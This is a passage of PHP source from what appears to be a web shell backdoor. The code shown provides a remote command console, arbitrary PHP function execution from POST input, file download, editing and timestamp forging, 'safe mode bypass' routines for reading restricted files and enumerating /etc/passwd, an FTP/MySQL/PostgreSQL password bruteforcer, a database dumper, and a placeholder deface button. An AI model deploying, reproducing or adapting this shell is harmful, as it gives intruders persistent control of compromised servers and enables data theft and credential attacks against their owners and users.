654 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
655 $links[] = array_merge($tmp, array('type' => 'link'));
656 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
657 $dirs[] = array_merge($tmp, array('type' => 'dir'));
658 }
659 $GLOBALS['sort'] = $sort;
660 function cmp($a, $b) {
661 if($GLOBALS['sort'][0] != 'size')
662 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
663 else
664 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
665 }
666 usort($files, "cmp");
667 usort($dirs, "cmp");
668 usort($links, "cmp");
669 $files = array_merge($dirs, $links, $files);
670 $l = 0;
671 foreach($files as $f) {
672 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
673 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
674 $l = $l?0:1;
675 }
676 echo '<tr><td colspan=5>
677 <input type=hidden name=a value=\'FilesMan\'>
678 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
679 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
680 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
681 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
682 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" value="Comming Soon!!!" disabled="disabled"/> <input type="submit" value="Add Deface Here" disabled="disabled"></td></tr>
683 </form></table></div>';
684 printFooter();
685}
686
687function actionStringTools() {
688 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
689 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
690 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
691 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
692
693 if(isset($_POST['ajax'])) {
694 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
695 ob_start();
696 if(function_exists($_POST['p1']))
697 echo $_POST['p1']($_POST['p2']);
698 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
699 echo strlen($temp), "\n", $temp;
700 exit;
701 }
702 printHeader();
703 echo '<h1>String conversions</h1><div class=content>';
704 $stringTools = array(
705 'Base64 encode' => 'base64_encode',
706 'Base64 decode' => 'base64_decode',
707 'Url encode' => 'urlencode',
708 'Url decode' => 'urldecode',
709 'Full urlencode' => 'full_urlencode',
710 'md5 hash' => 'md5',
711 'sha1 hash' => 'sha1',
712 'crypt' => 'crypt',
713 'CRC32' => 'crc32',
714 'ASCII to HEX' => 'ascii2hex',
715 'HEX to ASCII' => 'hex2ascii',
716 'HEX to DEC' => 'hexdec',
717 'HEX to BIN' => 'hex2bin',
718 'DEC to HEX' => 'dechex',
719 'DEC to BIN' => 'decbin',
720 'BIN to HEX' => 'bin2hex',
721 'BIN to DEC' => 'bindec',
722 'String to lower case' => 'strtolower',
723 'String to upper case' => 'strtoupper',
724 'Htmlspecialchars' => 'htmlspecialchars',
725 'String length' => 'strlen',
726 );
727 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
728 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
729 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
730 foreach($stringTools as $k => $v)
731 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
732 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
733 if(!empty($_POST['p1'])) {
734 if(function_exists($_POST['p1']))
735 echo htmlspecialchars($_POST['p1']($_POST['p2']));
736 }
737 echo"</pre></div>";
738 printFooter();
739}
740
741function actionFilesTools() {
742 if( isset($_POST['p1']) )
743 $_POST['p1'] = urldecode($_POST['p1']);
744 if(@$_POST['p2']=='download') {
745 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
746 ob_start("ob_gzhandler", 4096);
747 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
748 if (function_exists("mime_content_type")) {
749 $type = @mime_content_type($_POST['p1']);
750 header("Content-Type: ".$type);
751 }
752 $fp = @fopen($_POST['p1'], "r");
753 if($fp) {
754 while(!@feof($fp))
755 echo @fread($fp, 1024);
756 fclose($fp);
757 }
758 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
759
760 }
761 exit;
762 }
763 if( @$_POST['p2'] == 'mkfile' ) {
764 if(!file_exists($_POST['p1'])) {
765 $fp = @fopen($_POST['p1'], 'w');
766 if($fp) {
767 $_POST['p2'] = "edit";
768 fclose($fp);
769 }
770 }
771 }
772 printHeader();
773 echo '<h1>File tools</h1><div class=content>';
774 if( !file_exists(@$_POST['p1']) ) {
775 echo 'File not exists';
776 printFooter();
777 return;
778 }
779 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
780 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
781 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
782 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
783 if( empty($_POST['p2']) )
784 $_POST['p2'] = 'view';
785 if( is_file($_POST['p1']) )
786 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
787 else
788 $m = array('Chmod', 'Rename', 'Touch');
789 foreach($m as $v)
790 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
791 echo '<br><br>';
792 switch($_POST['p2']) {
793 case 'view':
794 echo '<pre class=ml1>';
795 $fp = @fopen($_POST['p1'], 'r');
796 if($fp) {
797 while( !@feof($fp) )
798 echo htmlspecialchars(@fread($fp, 1024));
799 @fclose($fp);
800 }
801 echo '</pre>';
802 break;
803 case 'highlight':
804 if( is_readable($_POST['p1']) ) {
805 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
806 $code = highlight_file($_POST['p1'],true);
807 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
808 }
809 break;
810 case 'chmod':
811 if( !empty($_POST['p3']) ) {
812 $perms = 0;
813 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
814 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
815 if(!@chmod($_POST['p1'], $perms))
816 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
817 else
818 die('<script>g(null,null,null,null,"")</script>');
819 }
820 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
821 break;
822 case 'edit':
823 if( !is_writable($_POST['p1'])) {
824 echo 'File isn\'t writeable';
825 break;
826 }
827 if( !empty($_POST['p3']) ) {
828 @file_put_contents($_POST['p1'],$_POST['p3']);
829 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
830 }
831 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
832 $fp = @fopen($_POST['p1'], 'r');
833 if($fp) {
834 while( !@feof($fp) )
835 echo htmlspecialchars(@fread($fp, 1024));
836 @fclose($fp);
837 }
838 echo '</textarea><input type=submit value=">>"></form>';
839 break;
840 case 'hexdump':
841 $c = @file_get_contents($_POST['p1']);
842 $n = 0;
843 $h = array('00000000<br>','','');
844 $len = strlen($c);
845 for ($i=0; $i<$len; ++$i) {
846 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
847 switch ( ord($c[$i]) ) {
848 case 0: $h[2] .= ' '; break;
849 case 9: $h[2] .= ' '; break;
850 case 10: $h[2] .= ' '; break;
851 case 13: $h[2] .= ' '; break;
852 default: $h[2] .= $c[$i]; break;
853 }
854 $n++;
855 if ($n == 32) {
856 $n = 0;
857 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
858 $h[1] .= '<br>';
859 $h[2] .= "\n";
860 }
861 }
862 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
863 break;
864 case 'rename':
865 if( !empty($_POST['p3']) ) {
866 if(!@rename($_POST['p1'], $_POST['p3']))
867 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
868 else
869 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
870 }
871 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
872 break;
873 case 'touch':
874 if( !empty($_POST['p3']) ) {
875 $time = strtotime($_POST['p3']);
876 if($time) {
877 if(@touch($_POST['p1'],$time,$time))
878 die('<script>g(null,null,null,null,"")</script>');
879 else {
880 echo 'Fail!<script>document.mf.p3.value="";</script>';
881 }
882 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
883 }
884 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
885 break;
886 case 'mkfile':
887
888 break;
889 }
890 echo '</div>';
891 printFooter();
892}
893
894function actionSafeMode() {
895 $temp='';
896 ob_start();
897 switch($_POST['p1']) {
898 case 1:
899 $temp=@tempnam($test, 'cx');
900 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
901 echo @file_get_contents($temp);
902 unlink($temp);
903 } else
904 echo 'Sorry... Can\'t open file';
905 break;
906 case 2:
907 $files = glob($_POST['p2'].'*');
908 if( is_array($files) )
909 foreach ($files as $filename)
910 echo $filename."\n";
911 break;
912 case 3:
913 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
914 curl_exec($ch);
915 break;
916 case 4:
917 ini_restore("safe_mode");
918 ini_restore("open_basedir");
919 include($_POST['p2']);
920 break;
921 case 5:
922 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
923 $uid = @posix_getpwuid($_POST['p2']);
924 if ($uid)
925 echo join(':',$uid)."\n";
926 }
927 break;
928 case 6:
929 if(!function_exists('imap_open'))break;
930 $stream = imap_open($_POST['p2'], "", "");
931 if ($stream == FALSE)
932 break;
933 echo imap_body($stream, 1);
934 imap_close($stream);
935 break;
936 }
937 $temp = ob_get_clean();
938 printHeader();
939 echo '<h1>Safe mode bypass</h1><div class=content>';
940 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
941 if($temp)
942 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
943 echo '</div>';
944 printFooter();
945}
946
947function actionConsole() {
948 if(isset($_POST['ajax'])) {
949 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
950 ob_start();
951 echo "document.cf.cmd.value='';\n";
952 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
953 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
954 if(@chdir($match[1])) {
955 $GLOBALS['cwd'] = @getcwd();
956 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
957 }
958 }
959 echo "document.cf.output.value+='".$temp."';";
960 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
961 $temp = ob_get_clean();
962 echo strlen($temp), "\n", $temp;
963 exit;
964 }
965 printHeader();
966
967echo '<script>
968if(window.Event) window.captureEvents(Event.KEYDOWN);
969var cmds = new Array("");
970var cur = 0;
971function kp(e) {
972 var n = (window.Event) ? e.which : e.keyCode;
973 if(n == 38) {
974 cur--;
975 if(cur>=0)
976 document.cf.cmd.value = cmds[cur];
977 else
978 cur++;
979 } else if(n == 40) {
980 cur++;
981 if(cur < cmds.length)
982 document.cf.cmd.value = cmds[cur];
983 else
984 cur--;
985 }
986}
987function add(cmd) {
988 cmds.pop();
989 cmds.push(cmd);
990 cmds.push("");
991 cur = cmds.length-1;
992}
993</script>';
994 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
995 foreach($GLOBALS['aliases'] as $n => $v) {
996 if($v == '') {
997 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
998 continue;
999 }
1000 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1001 }
1002 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1003 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1004 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1005 if(!empty($_POST['p1'])) {
1006 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1007 }
1008 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
1009 echo '</form></div><script>document.cf.cmd.focus();</script>';
1010 printFooter();
1011}
1012
1013function actionLogout() {
1014 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1015 echo '<body bgcolor=#000000><center><img src="http://www.itechcode.com/wp-content/uploads/2012/04/Secret-of-Blogging-Successfully.jpg"></center></body>';
1016}
1017
1018function actionSelfRemove() {
1019 printHeader();
1020 if($_POST['p1'] == 'yes') {
1021 if(@unlink(SELF_PATH))
1022 die('Shell has been removed');
1023 else
1024 echo 'unlink error!';
1025 }
1026 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1027 printFooter();
1028}
1029
1030function actionBruteforce() {
1031 printHeader();
1032 if( isset($_POST['proto']) ) {
1033 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1034 if( $_POST['proto'] == 'ftp' ) {
1035 function bruteForce($ip,$port,$login,$pass) {
1036 $fp = @ftp_connect($ip, $port?$port:21);
1037 if(!$fp) return false;
1038 $res = @ftp_login($fp, $login, $pass);
1039 @ftp_close($fp);
1040 return $res;
1041 }
1042 } elseif( $_POST['proto'] == 'mysql' ) {
1043 function bruteForce($ip,$port,$login,$pass) {
1044 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1045 @mysql_close($res);
1046 return $res;
1047 }
1048 } elseif( $_POST['proto'] == 'pgsql' ) {
1049 function bruteForce($ip,$port,$login,$pass) {
1050 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1051 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1052 @pg_close($res);
1053 return $res;
1054 }
1055 }
1056 $success = 0;
1057 $attempts = 0;
1058 $server = explode(":", $_POST['server']);
1059 if($_POST['type'] == 1) {
1060 $temp = @file('/etc/passwd');
1061 if( is_array($temp) )
1062 foreach($temp as $line) {
1063 $line = explode(":", $line);
1064 ++$attempts;
1065 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1066 $success++;
1067 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1068 }
1069 if(@$_POST['reverse']) {
1070 $tmp = "";
1071 for($i=strlen($line[0])-1; $i>=0; --$i)
1072 $tmp .= $line[0][$i];
1073 ++$attempts;
1074 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1075 $success++;
1076 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1077 }
1078 }
1079 }
1080 } elseif($_POST['type'] == 2) {
1081 $temp = @file($_POST['dict']);
1082 if( is_array($temp) )
1083 foreach($temp as $line) {
1084 $line = trim($line);
1085 ++$attempts;
1086 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1087 $success++;
1088 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1089 }
1090 }
1091 }
1092 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1093 }
1094 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1095 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1096 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1097 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1098 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1099 .'<span>Server:port</span></td>'
1100 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1101 .'<tr><td><span>Brute type</span></td>'
1102 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1103 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1104 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1105 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1106 .'<td><input type=text name=login value="root"></td></tr>'
1107 .'<tr><td><span>Dictionary</span></td>'
1108 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1109 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1110 echo '</div><br>';
1111 printFooter();
1112}
1113
1114function actionSql() {
1115 class DbClass {
1116 var $type;
1117 var $link;
1118 var $res;
1119 function DbClass($type) {
1120 $this->type = $type;
1121 }
1122 function connect($host, $user, $pass, $dbname){
1123 switch($this->type) {
1124 case 'mysql':
1125 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1126 break;
1127 case 'pgsql':
1128 $host = explode(':', $host);
1129 if(!$host[1]) $host[1]=5432;
1130 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1131 break;
1132 }
1133 return false;
1134 }
1135 function selectdb($db) {
1136 switch($this->type) {
1137 case 'mysql':
1138 if (@mysql_select_db($db))return true;
1139 break;
1140 }
1141 return false;
1142 }
1143 function query($str) {
1144 switch($this->type) {
1145 case 'mysql':
1146 return $this->res = @mysql_query($str);
1147 break;
1148 case 'pgsql':
1149 return $this->res = @pg_query($this->link,$str);
1150 break;
1151 }
1152 return false;
1153 }
1154 function fetch() {
1155 $res = func_num_args()?func_get_arg(0):$this->res;
1156 switch($this->type) {
1157 case 'mysql':
1158 return @mysql_fetch_assoc($res);
1159 break;
1160 case 'pgsql':
1161 return @pg_fetch_assoc($res);
1162 break;
1163 }
1164 return false;
1165 }
1166 function listDbs() {
1167 switch($this->type) {
1168 case 'mysql':
1169 return $this->res = @mysql_list_dbs($this->link);
1170 break;
1171 case 'pgsql':
1172 return $this->res = $this->query("SELECT datname FROM pg_database");
1173 break;
1174 }
1175 return false;
1176 }
1177 function listTables() {
1178 switch($this->type) {
1179 case 'mysql':
1180 return $this->res = $this->query('SHOW TABLES');
1181 break;
1182 case 'pgsql':
1183 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1184 break;
1185 }
1186 return false;
1187 }
1188 function error() {
1189 switch($this->type) {
1190 case 'mysql':
1191 return @mysql_error($this->link);
1192 break;
1193 case 'pgsql':
1194 return @pg_last_error($this->link);
1195 break;
1196 }
1197 return false;
1198 }
1199 function setCharset($str) {
1200 switch($this->type) {
1201 case 'mysql':
1202 if(function_exists('mysql_set_charset'))
1203 return @mysql_set_charset($str, $this->link);
1204 else
1205 $this->query('SET CHARSET '.$str);
1206 break;
1207 case 'mysql':
1208 return @pg_set_client_encoding($this->link, $str);
1209 break;
1210 }
1211 return false;
1212 }
1213 function dump($table) {
1214 switch($this->type) {
1215 case 'mysql':
1216 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1217 $create = mysql_fetch_array($res);
1218 echo $create[1].";\n\n";
1219 $this->query('SELECT * FROM `'.$table.'`');
1220 while($item = $this->fetch()) {
1221 $columns = array();
1222 foreach($item as $k=>$v) {
1223 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1224 $columns[] = "`".$k."`";
1225 }
1226 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1227 }
1228 break;
1229 case 'pgsql':
1230 $this->query('SELECT * FROM '.$table);
1231 while($item = $this->fetch()) {
1232 $columns = array();
1233 foreach($item as $k=>$v) {
1234 $item[$k] = "'".addslashes($v)."'";
1235 $columns[] = $k;
1236 }
1237 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1238 }
1239 break;
1240 }
1241 return false;
1242 }
1243 };
1244 $db = new DbClass(@$_POST['type']);
1245 if(@$_POST['p2']=='download') {
1246 ob_start("ob_gzhandler", 4096);
1247 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1248 $db->selectdb($_POST['sql_base']);
1249 header("Content-Disposition: attachment; filename=dump.sql");
1250 header("Content-Type: text/plain");
1251 foreach($_POST['tbl'] as $v)
1252 $db->dump($v);
1253 exit;
1254 }
1255 printHeader();
1256 echo '<h1>Sql browser</h1><div class=content>
1257 <form name="sf" method="post">
1258 <table cellpadding="2" cellspacing="0">
1259 <tr>
1260 <td>Type</td>
1261 <td>Host</td>
1262 <td>Login</td>
1263 <td>Password</td>
1264 <td>Database</td>
1265 <td></td>
1266 </tr>
1267 <tr>
1268 <input type=hidden name=a value=Sql>
1269 <input type=hidden name=p1 value=\'query\'>
1270 <input type=hidden name=p2>
1271 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1272 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1273 <td>
1274 <select name=\'type\'>
1275 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1276 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1277 </select></td>
1278 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1279 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1280 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1281 <td>';
1282 $tmp = "<input type=text name=sql_base value=''>";
1283 if(isset($_POST['sql_host'])){
1284 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1285 switch($_POST['charset']) {
1286 case "Windows-1251": $db->setCharset('cp1251'); break;
1287 case "UTF-8": $db->setCharset('utf8'); break;
1288 case "KOI8-R": $db->setCharset('koi8r'); break;
1289 case "KOI8-U": $db->setCharset('koi8u'); break;
1290 case "cp866": $db->setCharset('cp866'); break;
1291 }
1292 $db->listDbs();
1293 echo "<select name=sql_base><option value=''></option>";
1294 while($item = $db->fetch()) {
1295 list($key, $value) = each($item);
1296 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1297 }
1298 echo '</select>';
1299 }
1300 else echo $tmp;
1301 }else
1302 echo $tmp;
1303 echo '</td>
1304 <td><input type=submit value=">>"></td>
1305 </tr>
1306 </table>
1307 <script>
1308 function st(t,l) {
1309 document.sf.p1.value = \'select\';
1310 document.sf.p2.value = t;
1311 if(l!=null)document.sf.p3.value = l;
1312 document.sf.submit();
1313 }
1314 function is() {
1315 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1316 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1317 }
1318 </script>';
1319 if(isset($db) && $db->link){
1320 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1321 if(!empty($_POST['sql_base'])){
1322 $db->selectdb($_POST['sql_base']);
1323 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1324 $tbls_res = $db->listTables();
1325 while($item = $db->fetch($tbls_res)) {
1326 list($key, $value) = each($item);
1327 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1328 $value = htmlspecialchars($value);
1329 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1330 }
1331 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1332 if(@$_POST['p1'] == 'select') {
1333 $_POST['p1'] = 'query';
1334 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1335 $num = $db->fetch();
1336 $num = $num['n'];
1337 echo "<span>".$_POST['p2']."</span> ($num) ";
1338 for($i=0;$i<($num/30);$i++)
1339 if($i != (int)$_POST['p3'])
1340 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1341 else
1342 echo ($i+1)," ";
1343 if($_POST['type']=='pgsql')
1344 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1345 else
1346 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1347 echo "<br><br>";
1348 }
1349 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1350 $db->query(@$_POST['p3']);
1351 if($db->res !== false) {
1352 $title = false;
1353 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1354 $line = 1;
1355 while($item = $db->fetch()) {
1356 if(!$title) {
1357 echo '<tr>';
1358 foreach($item as $key => $value)
